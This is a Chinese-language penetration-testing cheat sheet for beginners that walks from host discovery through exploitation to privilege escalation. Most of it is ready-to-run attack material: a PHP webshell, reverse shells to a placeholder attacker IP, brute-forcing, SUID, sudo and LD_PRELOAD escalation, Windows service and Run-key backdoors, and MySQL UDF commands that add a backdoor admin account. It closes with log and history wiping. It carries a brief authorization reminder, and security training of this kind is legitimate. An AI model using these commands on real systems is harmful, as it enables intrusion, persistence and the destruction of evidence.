渗透测试实战:从信息收集到权限提升的核心命令与操作指南 1. 项目概述新手渗透测试师的命令武器库刚入行渗透测试那会儿我最头疼的就是面对一个陌生的系统脑子里一片空白不知道该从哪里下手该敲什么命令。网上资料虽然多但要么太零散要么太深奥对新手极不友好。后来我花了大量时间把渗透测试从信息收集到漏洞利用再到最终提权的整个过程中那些最常用、最核心的命令一条条整理、实践、记录下来形成了自己的“内网笔记”。今天我就把这些压箱底的干货以“基础版”的形式分享出来。这份总结的目的很明确让刚接触渗透测试的朋友能有一份清晰、直接、可执行的命令清单知道在什么阶段该做什么事用什么命令以及为什么用这个命令。它不会涉及高深的免杀或复杂的漏洞链构造而是聚焦于最基础的、成功率最高的路径帮你建立起一个稳固的起点。记住所有操作必须在合法授权的测试环境中进行这是红线。2. 信息收集渗透测试的“侦察兵”阶段信息收集是整个渗透测试的基石决定了后续所有行动的效率和成功率。盲目攻击就像蒙着眼睛打架信息收集就是为你擦亮眼睛。这个阶段的核心目标是尽可能全面地了解目标包括它的网络架构、运行的服务、使用的技术、甚至管理员的习惯。2.1 网络层信息收集摸清地形网络层信息收集旨在绘制目标网络的“地图”确定存活主机、开放端口和运行服务。1. 主机发现 (Host Discovery)这是第一步目的是找出网络中哪些IP地址是“活”的。ping命令最基础的存活检测。但现代服务器和防火墙经常禁ping所以不能完全依赖。ping -c 4 192.168.1.100 # Linux/Mac: 发送4个ICMP包 ping -n 4 192.168.1.100 # Windows: 发送4个ICMP包注意禁Ping不代表主机不存在需要结合其他手段。arp-scan命令在局域网内极其有效。它发送ARP请求二层协议防火墙通常无法过滤。sudo arp-scan -l # 扫描整个本地网络段 sudo arp-scan --interfaceeth0 192.168.1.0/24 # 指定网卡和网段nmap主机发现扫描Nmap是神器提供了多种主机发现技术。nmap -sn 192.168.1.0/24 # -sn 表示只进行主机发现不扫端口 nmap -sn -PE 192.168.1.0/24 # 使用ICMP Echo请求 nmap -sn -PS22,80,443 192.168.1.100 # 使用TCP SYN包探测指定端口2. 端口扫描与服务识别找到主机后下一步是看它开了哪些“门”端口以及门后是什么“房间”服务。nmap基础端口扫描nmap 192.168.1.100 # 默认扫描1000个常用端口 nmap -p- 192.168.1.100 # -p- 扫描所有65535个端口速度慢 nmap -p 22,80,443,3306 192.168.1.100 # 扫描指定端口服务与版本探测知道端口号还不够必须知道上面跑的是什么软件、什么版本这是寻找漏洞的关键。nmap -sV 192.168.1.100 # -sV: 探测服务版本 nmap -sV -sC 192.168.1.100 # -sC: 同时运行默认的Nmap脚本获取更多信息 nmap -sV -O 192.168.1.100 # -O: 尝试识别操作系统netstat/ss命令 (本地信息收集)当你已经获得一个shell即使是低权限需要查看本机网络连接时使用。# Linux netstat -tulnp # 查看所有监听端口及对应进程 ss -tulnp # 更现代、更快的替代命令功能类似 # Windows netstat -ano # 查看所有连接和监听端口-a显示所有-n以数字形式-o显示进程PID实操心得在实际内网渗透中我通常会先用arp-scan或nmap -sn快速刷一遍存活主机然后针对重要的IP如域控、文件服务器进行全端口扫描nmap -p- -sV。对于Web服务器-sC脚本扫描有时能直接暴露出管理后台路径、HTTP方法等有价值信息。2.2 系统与资产信息收集深入敌后一旦通过Web漏洞如SQL注入、文件上传获取了一个低权限的Shell例如www-data用户就需要立即收集这台主机本身的详细信息为提权做准备。1. 系统信息Linux/Unix-like系统uname -a # 打印所有系统信息内核版本、主机名等 cat /etc/issue # 查看系统发行版信息 cat /etc/*-release # 查看更详细的发行版信息 hostname # 查看主机名 cat /proc/version # 查看内核版本和编译器信息Windows系统systeminfo # 查看详细的系统信息包括补丁列表关键 hostname # 查看计算机名 ver # 查看Windows版本 wmic qfe get Caption,Description,HotFixID,InstalledOn # 另一种查看补丁的方式2. 用户与权限信息Linux/Unix-like系统id # 查看当前用户UID、GID及所属组 whoami # 查看当前用户名 cat /etc/passwd # 查看所有用户列表 cat /etc/group # 查看所有用户组 sudo -l # 查看当前用户可以以root身份运行哪些命令非常重要Windows系统whoami # 查看当前用户名 whoami /priv # 查看当前用户的特权信息 net user # 查看本地用户列表 net localgroup administrators # 查看管理员组有哪些用户 net user [username] # 查看指定用户的详细信息3. 进程与服务信息了解系统正在运行什么有助于发现脆弱的第三方软件。Linux/Unix-like系统ps aux # 查看所有进程的详细信息 ps aux | grep root # 查看root用户运行的进程 systemctl list-units --typeservice --staterunning # 查看运行中的系统服务Systemd service --status-all # 查看所有服务状态SysVinitWindows系统tasklist # 查看进程列表类似Linux的ps tasklist /svc # 查看进程及其对应的服务 sc query # 查看所有服务状态 net start # 查看已启动的服务4. 文件与目录探查寻找配置文件、密码文件、备份文件、敏感日志等。Linux/Unix-like系统find / -name *.conf 2/dev/null # 查找所有.conf配置文件 find / -name *.php -type f 2/dev/null # 查找所有php文件 find / -perm -4000 -type f 2/dev/null # 查找SUID权限的文件提权关键 find / -writable -type d 2/dev/null # 查找当前用户可写的目录 ls -la /home/*/.bash_history 2/dev/null # 尝试读取用户的历史命令可能有密码 cat /etc/shadow 2/dev/null # 尝试读取密码哈希文件需要rootWindows系统dir /s *.config # 递归查找当前目录及子目录下的.config文件 dir /s *pass* *cred* *vnc* *.kdbx # 查找可能包含密码的文件 type C:\Windows\Panther\Unattend.xml 2nul # 查看无人值守安装文件可能含密码常见问题与排查在Linux下使用find命令时权限拒绝的错误信息 (Permission denied) 会刷屏干扰查看。务必使用2/dev/null将错误输出重定向到“黑洞”。在Windows下没有直接等效的find命令dir /s结合findstr进行过滤是常用组合例如dir /s /b C:\*.txt | findstr /i password。3. 漏洞利用与初始访问打开突破口信息收集完毕后我们手里可能有了目标列表、开放端口、服务版本。接下来就是利用已知的漏洞获取一个初始的立足点通常是一个低权限的Shell。3.1 常见漏洞利用方向与命令这里不讨论具体的漏洞利用代码编写而是聚焦于在发现漏洞后如何利用工具或简单命令进行验证和利用。1. Web漏洞利用文件上传漏洞如果发现一个可以上传文件且未正确过滤的点。目标上传一个Webshell如一句话木马。常用工具中国菜刀、蚁剑、冰蝎。但新手可以从简单的开始。基础命令用于验证上传一个test.php内容为?php echo system($_GET[‘cmd’]);?。然后通过浏览器访问http://target/upload/test.php?cmdwhoami如果返回了当前Web服务的用户名如www-data则证明漏洞存在且可利用。SQL注入漏洞目标获取数据库数据甚至通过into outfile或load_file等函数读写服务器文件获取Webshell。常用工具sqlmap。sqlmap -u http://target/page.php?id1 --dbs # 枚举数据库 sqlmap -u http://target/page.php?id1 -D database_name --tables # 枚举表 sqlmap -u http://target/page.php?id1 -D database_name -T users --dump # 导出表数据 sqlmap -u http://target/page.php?id1 --os-shell # 尝试获取一个交互式操作系统shell需要高权限数据库用户注意--os-shell功能强大但成功与否取决于数据库配置如secure_file_priv和用户权限。命令注入 (RCE)在Web参数中直接注入系统命令。验证输入; whoami或| whoami或 whoami观察返回内容是否包含命令执行结果。利用通常用于直接反弹一个Shell。# 假设注入点是ping功能参数是ip # 输入127.0.0.1; bash -c bash -i /dev/tcp/攻击机IP/4444 01 # 然后在攻击机上用nc监听nc -lvnp 44442. 服务漏洞利用目标针对特定的开放端口服务如FTP、SMB、RDP、Redis等利用弱口令或已知漏洞。弱口令爆破# 使用 hydra 爆破 SSH hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100 # 使用 hydra 爆破 FTP hydra -l admin -P passlist.txt ftp://192.168.1.100 # 使用 medusa 也是类似原理已知漏洞利用根据nmap -sV识别的服务版本在searchsploit或 Exploit-DB 网站搜索对应漏洞。searchsploit vsftpd 2.3.4 # 搜索特定版本vsftpd的漏洞 searchsploit -m 49757 # -m 将找到的exp复制到当前目录 # 然后查看exp说明通常需要根据目标情况修改编译后使用。3. 获取Shell的几种方式无论通过哪种漏洞最终目标都是获得一个命令执行环境。反向Shell (Reverse Shell)最常用。让目标机器主动连接我们攻击机的监听端口。适用于目标出站限制不严的情况。攻击机监听nc -lvnp 4444 # 使用netcat在4444端口监听目标机执行根据目标系统选择# Linux Bash bash -i /dev/tcp/攻击机IP/4444 01 # Linux Netcat (如果目标有nc) nc 攻击机IP 4444 -e /bin/bash # Windows (如果目标有nc) nc.exe 攻击机IP 4444 -e cmd.exe # Python (通用性较好) python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((攻击机IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);绑定Shell (Bind Shell)在目标机器上打开一个端口监听然后攻击机去连接。适用于目标有严格出站规则但入站规则宽松的情况。风险较高容易被发现。目标机执行# Linux nc -lvp 5555 -e /bin/bash # Windows nc.exe -lvp 5555 -e cmd.exe攻击机连接nc 目标IP 5555实操心得在真实环境中Web漏洞是获取初始访问的最常见途径。上传漏洞配合中国蚁剑这类工具能快速获得一个图形化操作的“后门”。而SQL注入的--os-shell功能虽然强大但依赖条件苛刻成功率不如专门的文件上传点。拿到一个低权限的Shell后第一件事不是乱跑命令而是立即执行2.2 系统与资产信息收集部分的命令快速给这台主机“画个像”。4. 权限提升从“游客”到“管理员”拿到低权限Shell如www-data,iis apppool\defaultapppool后我们的目标是提升到最高权限Linux的root Windows的SYSTEM或Administrator。这是内网渗透的核心环节。4.1 Linux系统提权Linux提权方法繁多核心思路是利用系统配置错误、内核漏洞或高权限进程的缺陷。1. 内核漏洞提权 (Dirty Cow, CVE-2016-5195 为例)这是最“暴力”直接的方法利用操作系统内核本身的漏洞。步骤信息收集uname -a确认内核版本。例如3.2.0-23-generic。搜索漏洞searchsploit linux 3.2.0或去exploit-db.com网站搜索。下载EXP找到对应内核版本的提权EXPC语言编写。例如dirty.c。上传与编译将dirty.c上传到目标服务器可写目录如/tmp。# 在目标机上 cd /tmp wget http://攻击机IP/dirty.c gcc dirty.c -o dirty -pthread # 编译-pthread是链接线程库执行提权./dirty # 或者有些EXP需要指定密码 ./dirty mypassword运行后通常会直接得到一个root权限的shell或者创建一个具有root权限的新用户。注意事项内核提权有风险可能造成系统崩溃蓝屏/死机。在生产环境测试中需谨慎。务必先在授权测试的靶机上验证。2. SUID/SGID提权这是利用配置错误的权限设置。SUID文件在执行时会以文件所有者的权限运行。查找SUID文件find / -type f -perm -4000 2/dev/null # 查找SUID文件 find / -type f -perm -2000 2/dev/null # 查找SGID文件 find / -user root -perm -4000 -exec ls -ldb {} \; 2/dev/null # 查找root用户的SUID文件利用已知的SUID程序find如果find命令有SUID位可以利用其-exec参数执行命令。touch /tmp/test find /tmp/test -exec whoami \; find /tmp/test -exec /bin/bash -p \; # -p 参数保留SUID赋予的权限vim/vi如果以SUID运行可以在vim内执行系统命令。vim # 在vim命令行模式下输入 :!whoami :!bashnmap(旧版本)旧版nmap有交互模式--interactive。nmap --interactive nmap !sh # 进入root shellbash如果bash本身有SUID位非常罕见且危险直接运行bash -p即可。实操心得SUID提权成功率很高尤其是在一些运维不规范的内网系统中。find和vim是最常被滥用的两个命令。关键在于find / -perm -4000 2/dev/null这条命令要养成习惯一拿到Shell就先跑一遍。3. Sudo权限滥用如果当前用户被允许以root身份运行某些特定命令sudo -l查看就可以利用这些命令的特性提权。常见危险命令sudo vi/sudo vim在vim中:!bash或:shell。sudo findsudo find / -exec bash \;sudo awksudo awk BEGIN {system(/bin/bash)}sudo perlsudo perl -e exec /bin/bash;sudo pythonsudo python -c import os; os.system(/bin/bash)sudo tar利用--checkpoint-action参数执行命令。sudo tar -cf /dev/null /etc --checkpoint1 --checkpoint-actionexec/bin/bash利用LD_PRELOAD如果sudo -l显示env_keepLD_PRELOAD则可以劫持共享库。编写一个恶意的C库文件shell.c#include stdio.h #include sys/types.h #include stdlib.h void _init() { unsetenv(LD_PRELOAD); setgid(0); setuid(0); system(/bin/bash); }编译gcc -fPIC -shared -o shell.so shell.c -nostartfiles提权sudo LD_PRELOAD/tmp/shell.so [任意允许的命令]4.2 Windows系统提权Windows提权主要围绕系统补丁漏洞和服务配置错误。1. 系统补丁漏洞提权原理是系统未安装某个安全补丁存在可被利用的本地提权漏洞。信息收集 - 查看补丁systeminfo wmic qfe get Caption,Description,HotFixID,InstalledOn比对漏洞将获取的补丁列表与已知的提权EXP库比对。常用方法手动比对将systeminfo结果复制到本地用Windows-Exploit-Suggester等工具与微软漏洞数据库比对。Metasploit 自动化在已获得Meterpreter会话后。# 在meterpreter会话中 run post/multi/recon/local_exploit_suggester使用wesng(Windows Exploit Suggester Next Generation)一个更精准的离线工具。利用漏洞找到对应的EXP如MS16-032,CVE-2019-1458等上传到目标机器执行。EXP通常是一个.exe文件。# 在目标机shell中 C:\Temp\MS16-032.exe whoami # 或者直接生成一个高权限的shell C:\Temp\MS16-032.exe cmd.exe经典案例 - “烂土豆” (Juicy Potato / Rotten Potato)利用Windows令牌模拟机制进行提权对特定配置的服务器非常有效尤其在拥有SeImpersonatePrivilege权限时。2. 服务提权Windows服务如果配置不当也可能导致提权。弱服务权限如果一个服务是以SYSTEM权限运行并且其可执行文件路径或相关目录的权限允许当前用户修改就可以替换该文件等服务重启时执行我们的恶意代码。查找脆弱服务使用accesschk.exe(SysInternals工具) 或sc命令和icacls命令组合检查。利用流程sc qc [服务名]查询服务配置看BINARY_PATH_NAME。icacls C:\Path\To\Service.exe检查该路径的权限。如果可写将恶意exe上传并重命名为服务程序等待重启。或直接重启服务sc stop [服务名]sc start [服务名]。不安全的服务路径如果服务路径包含空格且未被引号包裹例如C:\Program Files\Some Dir\Service.exeWindows会按顺序尝试C:\Program.exe,C:\Program Files\Some.exe,C:\Program Files\Some Dir\Service.exe。如果当前用户能在C:\或C:\Program Files\下创建文件就可以创建恶意Program.exe来提权。3. 注册表键提权如果对某些关键的、开机自启动的注册表键有写权限可以添加恶意程序实现持久化和提权。检查权限使用reg命令或accesschk.exe检查HKLM\Software\Microsoft\Windows\CurrentVersion\Run等键的权限。写入启动项reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d C:\Temp\evil.exe /f4. 数据库提权 (以MySQL UDF提权为例)当通过Web漏洞获取了数据库高权限账号如root后可以利用数据库功能执行系统命令。前提条件拥有MySQL的FILE权限通常是root用户。secure_file_priv配置为空或指向可写目录MySQL 5.5需注意。知道MySQL的插件目录路径。步骤查看插件目录show variables like ‘%plugin%’;上传UDF DLL文件将预编译的udf.dll(Windows) 或raptor_udf2.so(Linux) 上传到插件目录。可能需要先创建lib\plugin目录。创建函数CREATE FUNCTION sys_exec RETURNS integer SONAME udf.dll; -- Windows CREATE FUNCTION sys_exec RETURNS integer SONAME raptor_udf2.so; -- Linux执行命令SELECT sys_exec(whoami); SELECT sys_exec(net user backdoor Password123! /add); SELECT sys_exec(net localgroup administrators backdoor /add);注意事项UDF提权对MySQL版本和操作系统有要求。secure_file_priv是最大的障碍。在MySQL 5.5版本该值默认为NULL无法导出文件需要找到其他方法如通过general log或slow query log写入或利用已有条件。常见问题与排查EXP执行失败首先检查杀毒软件是否拦截。尝试免杀或直接关闭杀软如果权限允许。其次检查EXP是否与系统架构x86/x64匹配。最后查看错误信息可能是缺少依赖库。“拒绝访问”在Windows下操作文件或注册表时遇到说明当前用户权限不足。需要回到信息收集阶段寻找其他弱点或者尝试用icacls命令查看更详细的权限继承关系有时子目录的权限会比父目录宽松。数据库UDF失败最常见原因是secure_file_priv限制。可以尝试show variables like ‘secure_file_priv’;查看。如果非空可以尝试写入该目录或者寻找Web目录的写权限通过Webshell调用数据库语句来写入文件。5. 后渗透与痕迹清理基础意识在授权测试中清理痕迹是职业操守的体现也是为了更好地模拟高级攻击者。对于新手至少要建立以下意识1. 操作记录清理Linux清除当前用户的命令历史。history -c # 清除内存中的历史 rm ~/.bash_history # 删除历史记录文件 # 或者直接清空文件 echo ~/.bash_historyWindows清除CMD历史比较麻烦通常记录在注册表。可以简单关闭当前会话。2. 文件清理删除上传的EXP、Shell脚本、木马文件等。# Linux rm -f /tmp/dirty /tmp/shell.so # Windows del C:\Temp\MS16-032.exe使用shred(Linux) 或cipher /w(Windows) 可以更安全地擦除文件。3. 日志清理 (需要高权限)Linux/var/log/目录下的auth.log,secure,messages等。Windows事件查看器中的安全、系统、应用程序日志。wevtutil cl Security # 清除安全日志需要管理员权限 wevtutil cl System wevtutil cl Application最后的重要提醒这份命令总结是为你打开渗透测试世界大门的钥匙但绝不是“万能脚本”。真实环境千变万化命令可能被修改路径可能不同防护软件可能拦截。最关键的是培养思路收集信息 - 分析弱点 - 尝试利用 - 提升权限 - 扩大战果。永远保持好奇心多搭建靶机环境练习理解每一条命令背后的原理你才能从“命令的搬运工”成长为真正的渗透测试工程师。在合法授权的范围内大胆实践小心求证。